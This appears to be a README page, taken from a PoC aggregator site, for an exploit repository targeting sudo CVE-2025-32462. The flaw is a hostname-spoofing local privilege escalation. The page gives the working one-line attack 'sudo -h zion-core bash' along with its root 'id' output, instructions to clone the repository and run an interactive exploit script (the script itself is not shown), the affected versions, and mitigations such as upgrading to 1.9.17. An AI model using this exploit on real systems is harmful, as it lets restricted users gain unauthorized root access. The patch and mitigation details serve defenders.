来源

关联漏洞

描述

CVE-2025-32462 Exploit

介绍

# CVE-2025-32462-Exploit: Matrix-Sudo Escape  
**Hostname Spoofing Privilege Escalation (CVE-2025-32462)**  

*"You take the blue pill... the story ends. You take the red pill... you get root."*  

## Description  
This exploit demonstrates a privilege escalation vulnerability in sudo (`CVE-2025-32462`) where hostname-based restrictions can be bypassed using the `-h` flag. The PoC creates a restricted user environment, then escapes it by spoofing a whitelisted hostname to gain root access.

```bash
[user@matrix-node]$ sudo -h zion-core bash  # Spoof whitelisted hostname
[root@matrix-node]# id                          # Got root on wrong hostname!
uid=0(root) gid=0(root) groups=0(root)
```
## Technical Details
- Vulnerable Sudo Versions: < 1.9.17
- Attack Vector: Local privilege escalation
- Key Flaw: Hostname verification bypass via sudo -h parameter
- Impact: Restricted users can gain root on improperly configured systems

## Usage
**Clone repository:**
```bash
git clone https://github.com/cybersentinelx1/CVE-2025-32462-Exploit.git
cd matrix-sudo-escape
```

**Make executable and run:**
```bash
chmod +x matrix-sudo-escape.sh
./matrix-sudo-escape.sh
```

**Follow interactive prompts to demonstrate:**
- CVE-2025-32462 vulnerability detection
- User creation
- Hostname restriction setup
- Exploit execution
- Cleanup

## Protection
- ✅ Update sudo to v1.9.17+
- ✅ Avoid hostname-based sudo restrictions
- ✅ Use group-based sudo policies instead

## Legal
For educational/research purposes only. Use only on systems you own or have permission to test.

文件快照

 [4.0K]  /data/pocs/607ac7fc0967d16f2cf9edbafb76417898fd37c4
├── [5.3K]  matrix-sudo-escape.sh
└── [1.5K]  README.md

0 directories, 2 files

备注